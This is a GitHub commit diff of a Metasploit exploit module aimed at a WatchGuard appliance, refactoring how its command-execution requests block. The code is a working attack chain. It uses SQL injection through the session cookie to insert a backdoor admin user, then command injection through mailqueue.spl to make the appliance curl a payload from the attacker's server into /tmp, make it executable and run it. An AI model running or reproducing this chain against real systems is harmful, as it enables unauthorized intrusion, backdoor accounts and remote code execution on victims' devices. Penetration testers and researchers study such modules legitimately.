Skip to content

Commit e87d99a

Browse files
committed
Fixing blocking option
1 parent 890ac92 commit e87d99a

File tree

1 file changed

+39
-31
lines changed

1 file changed

+39
-31
lines changed

modules/exploits/freebsd/http/watchguard_cmd_exec.rb

Lines changed: 39 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -77,27 +77,29 @@ def check
7777

7878

7979
def exploit
80-
#Get a valid session by logging in or exploiting SQLi to add user
80+
# Get a valid session by logging in or exploiting SQLi to add user
81+
print_status('Getting a valid session...')
8182
@sid = get_session
83+
print_status('Successfully logged in')
8284

83-
#Check if cmd injection works
85+
# Check if cmd injection works
8486
test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
8587
unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')
8688
fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
8789
end
8890

89-
#We have cmd exec, stand up an HTTP server and deliver the payload
91+
# We have cmd exec, stand up an HTTP server and deliver the payload
9092
vprint_status('Getting ready to drop binary on appliance')
9193

9294
@elf_sent = false
93-
#Generate payload
95+
# Generate payload
9496
@pl = generate_payload_exe
9597

9698
if @pl.nil?
9799
fail_with(Failure::BadConfig, 'Please select a native bsd payload')
98100
end
99101

100-
#Start the server and use primer to trigger fetching and running of the payload
102+
# Start the server and use primer to trigger fetching and running of the payload
101103
begin
102104
Timeout.timeout(datastore['HTTPDELAY']) { super }
103105
rescue Timeout::Error
@@ -111,7 +113,7 @@ def attempt_login(username, pwd_clear)
111113
'uri' => normalize_uri(target_uri.path, '/login.spl')
112114
})
113115

114-
unless get_login_hash and get_login_hash.body
116+
unless get_login_hash && get_login_hash.body
115117
fail_with(Failure::Unreachable, 'Could not get login page.')
116118
end
117119

@@ -147,12 +149,10 @@ def attempt_login(username, pwd_clear)
147149
})
148150

149151

150-
unless login and login.body =~ /<title>Loading...<\/title>/
152+
unless login && login.body && login.body.include?('<title>Loading...</title>')
151153
return nil
152154
end
153155

154-
print_status('Successfully logged in')
155-
156156
sid_cookie
157157
end
158158

@@ -163,14 +163,14 @@ def add_user(user_id, username, pwd_hash, pwd_clear)
163163
'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"
164164
})
165165

166-
unless res and res.body
166+
unless res && res.body
167167
fail_with(Failure::Unreachable, "Could not connect to host")
168168
end
169169

170-
if res.body =~ /ERROR: duplicate key value violates unique constraint/
170+
if res.body.include?('ERROR: duplicate key value violates unique constraint')
171171
print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
172172
else
173-
fail_with(Failure::UnexpectedReply, "Unable to add user to database")
173+
fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
174174
end
175175

176176
true
@@ -186,24 +186,30 @@ def generate_device_hash(cleartext_password)
186186
final_hash
187187
end
188188

189-
def send_cmd_exec(uri, os_cmd, blocking = false)
189+
def send_cmd_exec(uri, os_cmd, blocking = true)
190190
#This is a handler function that makes HTTP calls to exploit the command injection issue
191191
unless @sid
192192
fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')
193193
end
194194

195-
res = send_request_cgi({
195+
opts = {
196196
'uri' => normalize_uri(target_uri.path, "#{uri}"),
197197
'cookie' => "sid=#{@sid}",
198198
'encode_params' => true,
199199
'vars_get' => {
200200
'f' => 'dnld',
201201
'id' => ";#{os_cmd}"
202202
}
203-
})
203+
}
204+
205+
if blocking
206+
res = send_request_cgi(opts)
207+
else
208+
res = send_request_cgi(opts, 1)
209+
end
204210

205211
#Handle cmd exec failures
206-
if res.nil? && blocking == false
212+
if res.nil? && blocking
207213
fail_with(Failure::Unknown, 'Failed to exploit command injection.')
208214
end
209215

@@ -217,19 +223,20 @@ def get_session
217223
user_id = rand(999)
218224

219225
sid_cookie = attempt_login(username, pwd_clear)
220-
unless sid_cookie
221-
vprint_status('Failed to login, attempting to add backdoor user...')
222-
pwd_hash = generate_device_hash(pwd_clear)
223226

224-
unless add_user(user_id, username, pwd_hash, pwd_clear)
225-
fail_with(Failure::Unknown, 'Failed to add user account to database.')
226-
end
227+
return sid_cookie unless sid_cookie.nil?
227228

228-
sid_cookie = attempt_login(username, pwd_clear)
229+
vprint_error('Failed to login, attempting to add backdoor user...')
230+
pwd_hash = generate_device_hash(pwd_clear)
231+
232+
unless add_user(user_id, username, pwd_hash, pwd_clear)
233+
fail_with(Failure::Unknown, 'Failed to add user account to database.')
234+
end
229235

230-
unless sid_cookie
231-
fail_with(Failure::Unknown, 'Unable to login with user account.')
232-
end
236+
sid_cookie = attempt_login(username, pwd_clear)
237+
238+
unless sid_cookie
239+
fail_with(Failure::Unknown, 'Unable to login with user account.')
233240
end
234241

235242
sid_cookie
@@ -245,9 +252,9 @@ def primer
245252
filename = rand_text_alpha_lower(8)
246253
print_status("Sending download request for #{payload_uri}")
247254

248-
dnld_cmd1 = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
249-
vprint_status("Telling appliance to run #{dnld_cmd1}")
250-
send_cmd_exec('/ADMIN/mailqueue.spl', dnld_cmd1)
255+
download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
256+
vprint_status("Telling appliance to run #{download_cmd}")
257+
send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd)
251258
register_file_for_cleanup("/tmp/#{filename}")
252259

253260
chmod_cmd = "chmod +x /tmp/#{filename}"
@@ -256,9 +263,10 @@ def primer
256263

257264
exec_cmd = "/tmp/#{filename}"
258265
vprint_status('Running the payload...')
259-
send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, true)
266+
send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)
260267

261-
vprint_status('Finished primer hook')
268+
vprint_status('Finished primer hook, raising Timeout::Error manually')
269+
raise(Timeout::Error)
262270
end
263271

264272
#Handle incoming requests from the server

0 commit comments

Comments
 (0)